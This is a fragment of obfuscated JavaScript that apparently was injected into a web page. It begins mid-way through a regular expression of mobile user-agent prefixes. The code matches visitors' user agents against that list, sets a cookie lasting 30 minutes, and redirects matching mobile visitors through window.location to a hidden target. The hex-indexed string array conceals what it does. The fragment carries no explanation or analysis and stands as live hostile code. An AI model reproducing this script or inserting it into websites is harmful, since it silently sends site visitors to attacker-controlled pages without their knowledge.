)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}